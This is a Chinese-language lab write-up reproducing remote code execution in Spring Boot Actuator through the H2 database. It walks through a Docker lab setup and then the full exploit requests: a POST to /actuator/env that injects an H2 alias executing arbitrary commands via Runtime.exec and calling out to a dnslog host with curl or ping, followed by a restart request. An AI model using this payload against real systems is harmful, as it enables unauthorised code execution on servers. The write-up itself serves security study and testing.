1. 程式人生 > 實用技巧 >Spring Boot Actuator H2 RCE復現

Spring Boot Actuator H2 RCE復現

0x01 前言

Spring Boot框架是最流行的基於Java的微服務框架之一,可幫助開發人員快速輕鬆地部署Java應用程式,加快開發過程。當Spring Boot Actuator配置不當可能造成多種RCE,因為Spring Boot 2.x預設使用HikariCP資料庫連線池,所以可通過H2資料庫實現RCE。

0x02 環境搭建

windows10 IP:192.168.233.1
centos7 IP:192.168.233.140

CentOS docker環境下載地址

git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git

使用Docker搭建環境
從Dockerfile中建立映象

docker build -t spaceraccoon/spring-boot-rce-lab .


啟動docker中springboot映象

docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab


本地訪問虛擬機器8080埠/actuator路徑,docker環境搭建成功

http://192.168.233.140:8080/actuator

0x03 漏洞復現

1.提交POST請求,請求頭內容為必須攜帶內容

POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393

{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 11od6s.dnslog.cn');"}

2.向端點 /actuator/restart 傳送POST請求,重啟應用

POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2

{}


3.dnslog.cn收到請求

0x04 結束語

細心的小夥伴肯定也看到了,我最後截圖中的dnslog和測試時候的dnslog地址不一樣,是因為在使用curl命令的時候測試失敗了,可能是因為Linux中的原因,於是我把命令換成了ping -c xxx.dnslog.cn
,大家復現失敗記得換一下命令哦

ping xxx.dnslog.cn